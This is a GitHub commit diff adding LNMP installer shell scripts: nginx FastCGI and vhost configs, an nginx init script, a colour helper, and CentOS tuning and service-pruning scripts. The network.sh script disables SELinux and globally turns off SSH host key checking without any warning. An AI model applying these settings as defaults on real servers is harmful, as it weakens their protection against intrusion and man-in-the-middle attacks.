fastcgi_param QUERY_STRING \$query_string;
fastcgi_param REQUEST_METHOD \$request_method;
fastcgi_param CONTENT_TYPE \$content_type;
fastcgi_param CONTENT_LENGTH \$content_length;
fastcgi_param SCRIPT_NAME \$fastcgi_script_name;
fastcgi_param REQUEST_URI \$request_uri;
fastcgi_param DOCUMENT_URI \$document_uri;
fastcgi_param DOCUMENT_ROOT \$document_root;
fastcgi_param SERVER_PROTOCOL \$server_protocol;
fastcgi_param GATEWAY_INTERFACE CGI/1.1;
fastcgi_param SERVER_SOFTWARE nginx/\$nginx_version;
fastcgi_param REMOTE_ADDR \$remote_addr;
fastcgi_param REMOTE_PORT \$remote_port;
fastcgi_param SERVER_ADDR \$server_addr;
fastcgi_param SERVER_PORT \$server_port;
fastcgi_param SERVER_NAME \$server_name;
# PHP only, required if PHP was built with --enable-force-cgi-redirect
#fastcgi_param REDIRECT_STATUS 200;
EOF
}
nginx_test_conf(){
cat > $NGINX_PREFIX/conf/vhosts/test.conf <<EOF
server
{
listen $NGINX_PORT;
server_name www.test.com;
index index.php index.html index.htm;
root $NGINX_ROOT;
#access_log /data/logs/access_test.com.log combined;
#error_log /data/logs/error_test.com.log;
#expires
location ~ .*\.(gif|jpg|jpeg|png|bmp|swf)\$
{
expires 30d;
}
location ~ .*\.(js|css)?\$
{
expires 24h;
}
location /webstatus {
stub_status on;
access_log off;
}
# location ~* ^/(attachments|images)/.*\.(php|php5)\$
# {
# deny all;
# }
location ~ .*\.php?\$
{
fastcgi_pass 127.0.0.1:9000;
#fastcgi_pass unix:/tmp/php-fcgi.sock;
#fastcgi_pass php;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME \$document_root\$fastcgi_script_name;
include fastcgi_params;
}
}
EOF
}
nginx_init_script(){
cat > /etc/init.d/nginx <<EOF
#
# chkconfig: - 69 88
# description: this script is used for nginx
#
#!/bin/bash
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:~/bin
export PATH
# Check if user is root
if [ \$(id -u) != "0" ]; then
echo "Error: You must be root to run this script!\n"
exit 1
fi
NGINXDAEMON=$NGINX_PREFIX/sbin/nginx
PIDFILE=$NGINX_PREFIX/logs/nginx.pid
function_start()
{
echo -en "\033[32;49;1mStarting nginx......\n"
echo -en "\033[39;49;0m"
if [ -f \$PIDFILE ]; then
printf "Nginx is runing!\n"
exit 1
else
\$NGINXDAEMON
printf "Nginx is the successful start!\n"
fi
}
function_stop()
{
echo -en "\033[32;49;1mStoping nginx......\n"
echo -en "\033[39;49;0m"
if [ -f \$PIDFILE ]; then
kill \`cat \$PIDFILE\`
printf "Nginx program is stoped\n"
else
printf "Nginx program is not runing!\n"
fi
}
function_reload()
{
echo -en "\033[32;49;1mReload nginx......\n"
echo -en "\033[39;49;0m"
printf "Reload Nginx configure...\n"
\$NGINXDAEMON -t
kill -HUP \`cat \$PIDFILE\`
printf "Nginx program is reloding!\n"
}
function_restart()
{
echo -en "\033[32;49;1mRestart nginx......\n"
echo -en "\033[39;49;0m"
printf "Reload Nginx configure...\n"
\$NGINXDAEMON -t
kill -HUP \`cat \$PIDFILE\`
printf "Nginx program is reloding!\n"
}
function_kill()
{
killall nginx
}
function_status()
{
if ! ps -ef|grep 'nginx:' > /dev/null 2>&1
then
printf "Nginx is down!!!\n"
else
printf "Nginx is running now!\n"
fi
}
if [ "\$1" = "start" ]; then
function_start
elif [ "\$1" = "stop" ]; then
function_stop
elif [ "\$1" = "reload" ]; then
function_reload
elif [ "\$1" = "restart" ]; then
function_restart
elif [ "\$1" = "kill" ]; then
function_kill
elif [ "\$1" = "status" ]; then
function_status
else
echo -en "\033[32;49;1m Usage: nginx {start|stop|reload|restart|kill|status}\n"
echo -en "\033[39;49;0m"
fi
EOF
}

534 changes: 534 additions & 0 deletions shell/lnmp/scripts/php.sh

Large diffs are not rendered by default.

56 changes: 56 additions & 0 deletions shell/lnmp/scripts/showcolor.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,56 @@
# color funiction
color(){
# show color text
# color colorname "color text"
case $1 in
blk)
echo -en "\E[1;30m"
;;
red)
echo -en "\E[1;31m"
;;
grn)
echo -en "\E[1;32m"
;;
yel)
echo -en "\E[1;33m"
;;
blu)
echo -en "\E[1;34m"
;;
mag)
echo -en "\E[1;35m"
;;
cyn)
echo -en "\E[1;36m"
;;
whi)
echo -en "\E[1;37m"
;;
dgrn)
echo -en "\E[0;32m"
;;
dyel)
echo -en "\E[0;33m"
;;
dblu)
echo -en "\E[0;34m"
;;
dmag)
echo -en "\E[0;35m"
;;
dcyn)
echo -en "\E[0;36m"
;;
dwhi)
echo -en "\E[0;37m"
;;
res)
echo -en "\E[0m"
;;
nor)
echo -en ""
;;
esac
}

75 changes: 75 additions & 0 deletions shell/lnmp/scripts/tuning/network.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,75 @@
# welcome
cat << EOF
+--------------------------------------------------------------+
| === Welcome to Centos System init === |
+--------------------------------------------------------------+
EOF

# disable ipv6
cat << EOF
+--------------------------------------------------------------+
| === Welcome to Disable IPV6 === |
+--------------------------------------------------------------+
EOF
echo "alias net-pf-10 off" >> /etc/modprobe.conf
echo "alias ipv6 off" >> /etc/modprobe.conf
/sbin/chkconfig --level 35 ip6tables off
echo "ipv6 is disabled!"

# disable selinux
sed -i '/SELINUX/s/enforcing/disabled/' /etc/selinux/config
echo "selinux is disabled,you must reboot!"

# vim
sed -i "8 s/^/alias vi='vim'/" /root/.bashrc
cat >/root/.vimrc<<EOF
syntax on
set expandtab
set shiftwidth=4
set softtabstop=4
set tabstop=4
EOF


# init_ssh
sed -i '/GSSAPI/ {s/yes/no/g};/UseDNS/ {s/.*/UseDNS no/};/^SyslogFacility/ {s/AUTHPRIV/local5/g}' /etc/ssh/sshd_config
sed -i '/StrictHostKeyChecking/ {s/.*/StrictHostKeyChecking no/}' /etc/ssh/ssh_config
sed -i '$ a\# save sshd messages also to sshd.log \nlocal5.* \t\t\t\t\t\t /var/log/sshd.log' /etc/syslog.conf
echo "Configured SSH initialization!"

# chkser
# tunoff services
#--------------------------------------------------------------------------------
cat << EOF
+--------------------------------------------------------------+
| === Welcome to Tunoff services === |
+--------------------------------------------------------------+
EOF
#---------------------------------------------------------------------------------
for i in `ls /etc/rc3.d/S*`
do
CURSRV=`echo $i|cut -c 15-`

echo $CURSRV
case $CURSRV in
crond | irqbalance | microcode_ctl | network | random | sendmail | sshd | syslog | local | mysqld | nginx | fastcgi )
echo "Base services, Skip!"
;;
*)
echo "change $CURSRV to off"
chkconfig --level 235 $CURSRV off
service $CURSRV stop
;;
esac
done

# set ntpdate
# crontab
crontab -l >> /tmp/crontab2.tmp
echo '15 1 * * * /usr/sbin/ntpdate ntp.api.bz;/usr/sbin/hwclock -w > /dev/null 2>&1' >> /tmp/crontab2.tmp
crontab /tmp/crontab2.tmp
rm /tmp/crontab2.tmp

echo -e "\033[32;49;1mInitialization complete"
echo -en "\033[39;49;0m"

44 changes: 44 additions & 0 deletions shell/lnmp/scripts/tuning/tuning.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,44 @@
# turning system
ulimit -HSn 65536
echo -ne "
* soft nofile 65536
* hard nofile 65536
" >>/etc/security/limits.conf


# /etc/sysctl.conf
cat >>/etc/sysctl.conf<<EOF
net.ipv4.netfilter.ip_conntrack_max = 131072
net.ipv4.tcp_max_tw_buckets = 5000
net.ipv4.tcp_sack = 1
net.ipv4.tcp_window_scaling = 1
net.ipv4.tcp_rmem = 4096 87380 4194304
net.ipv4.tcp_wmem = 4096 16384 4194304
net.ipv4.tcp_max_syn_backlog = 65536
net.core.netdev_max_backlog = 32768
net.core.somaxconn = 32768
net.core.wmem_default = 8388608
net.core.rmem_default = 8388608
net.core.rmem_max = 16777216
net.core.wmem_max = 16777216
net.ipv4.tcp_timestamps = 0
net.ipv4.tcp_synack_retries = 2
net.ipv4.tcp_syn_retries = 2
net.ipv4.tcp_tw_recycle = 1
#net.ipv4.tcp_tw_len = 1
net.ipv4.tcp_tw_reuse = 1
net.ipv4.tcp_mem = 94500000 915000000 927000000
net.ipv4.tcp_max_orphans = 3276800
net.ipv4.tcp_tw_recycle = 1
#net.ipv4.tcp_fin_timeout = 30
#net.ipv4.tcp_keepalive_time = 300
net.ipv4.ip_local_port_range = 1024 65000
EOF

0 comments on commit c637e38

Please sign in to comment.